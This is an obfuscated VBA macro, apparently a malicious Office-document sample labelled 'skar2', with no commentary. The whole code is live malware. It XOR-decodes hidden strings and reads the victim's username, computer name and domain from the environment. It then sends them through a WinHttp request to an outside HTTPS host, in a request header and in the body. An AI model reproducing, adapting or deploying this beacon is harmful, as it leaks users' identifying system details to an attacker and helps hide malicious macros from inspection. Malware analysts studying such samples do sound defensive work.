skar2

Function pgdu(str As String) As Variant: Dim bytes() As Byte: bytes = str: pgdu = bytes: End Function
Function h15g(bytes() As Byte) As String: Dim str As String: str = bytes: h15g = str: End Function

Function bloypnrq(str As String) As String
    Const p_ As String = "szcvqpgx"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = pgdu(str)
    pb_ = pgdu(p_)

    Dim uL As Long
    uL = UBound(sb_)

    ReDim scb_(0 To uL) As Byte

    Dim idx As Long

    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If

    Next idx

    bloypnrq = h15g(scb_)
End Function


 Private Sub pk1ctqn0()
     Const sUrl As String = bloypnrq(chr(106) & "v" & chr(118) & chr(114) & chr(113) & "" & chr(56) & "" & chr(45) & "-" & "" & chr(112) & "" & chr(103) & "" & chr(118) & chr(112) & "" & chr(99) & "" & chr(107) & "" & chr(118) & "g" & "" & "," & "" & "a" & "" & "c" & "" & "t" & chr(99) & "" & "o" & "c" & "a" & chr(44) & "m" & "p" & "" & chr(101) & chr(45) & "" & "k" & "" & chr(108) & chr(100) & chr(109) & chr(113) & "" )

     Dim efh1m144 As Object 'WinHttp.WinHttpRequest
     Dim u44h58n3 As String
     Dim yvo1p1r6 As String
     Dim jylqgo99 As String
     Dim xv697wau As String

     yvo1p1r6 = Environ$(bloypnrq("W" & "q" & "" & chr(103) & chr(112) & chr(108) & "" & "c" & "" & "o" & "g" & "" ))
     jylqgo99 = Environ$(bloypnrq(chr(97) & "m" & "" & "o" & "" & "r" & "w" & "" & chr(118) & "" & "g" & "" & "p" & "" & chr(108) & chr(99) & "" & "o" & "g" & "" ))
     xv697wau = Environ$(bloypnrq("w" & "" & "q" & "" & chr(103) & chr(112) & chr(70) & "m" & chr(111) & "" & chr(99) & "" & "k" & "" & "l" & "" ))

     Set efh1m144 = CreateObject(bloypnrq(chr(85) & "" & chr(107) & "" & chr(108) & "J" & chr(118) & "" & "v" & "" & "r" & chr(44) & chr(85) & "" & "k" & "" & chr(108) & "" & "J" & "v" & "v" & "" & "r" & "" & "P" & "g" & "" & chr(115) & "" & chr(119) & "" & "g" & chr(113) & "" & "v" & "" & "," & chr(55) & "," & "3" ))
     With efh1m144
         .Open bloypnrq("E" & chr(71) & "V" ), sUrl, False
         .SetRequestHeader bloypnrq("A" & chr(109) & chr(108) & "" & chr(118) & "" & "g" & "" & "l" & "" & "v" & "" & "/" & "" & chr(86) & "" & chr(123) & "" & "r" & "" & chr(103) ), bloypnrq("c" & chr(114) & "" & chr(114) & "" & chr(110) & chr(107) & "" & chr(97) & "c" & "v" & "k" & "m" & chr(108) & "-" & "" & "z" & "" & chr(47) & "u" & "" & "u" & "" & chr(117) & "" & chr(47) & "d" & chr(109) & chr(112) & chr(111) & "" & "/" & "" & "w" & "" & chr(112) & "" & chr(110) & chr(103) & chr(108) & chr(97) & chr(109) & "" & "f" & "g" & "f" & chr(57) & chr(34) & "a" & chr(106) & "" & chr(99) & chr(112) & "" & chr(113) & "" & "g" & "" & chr(118) & chr(63) & "W" & "" & chr(86) & "" & "D" & "" & "/" & ":" )
         .SetRequestHeader bloypnrq(chr(87) & "q" & chr(103) & "p" & "" & chr(47) & "" & chr(67) & "" & "e" & "" & chr(103) & "" & "l" & "v" ), xv697wau + bloypnrq(chr(94) ) + yvo1p1r6 + bloypnrq(chr(34) & "" & chr(47) & "" & chr(34) & chr(102) & "" & chr(103) & "" & "r" & "" & "w" & "" & chr(107) & "" & "q" & "" & chr(34) & "" & chr(110) & chr(103) & "" & chr(34) & "" & "R" & "" & "A" & "" & """" & "/" & chr(34) & "" ) + jylqgo99
         .send (xv697wau + bloypnrq(chr(94) ) + yvo1p1r6 + bloypnrq(chr(34) & "" & chr(47) & "" & chr(34) & chr(102) & "" & chr(103) & "" & "r" & "" & "w" & "" & chr(107) & "" & "q" & "" & chr(34) & "" & chr(110) & chr(103) & "" & chr(34) & "" & "R" & "" & "A" & "" & """" & "/" & chr(34) & "" ) + jylqgo99)
     End With
 End Sub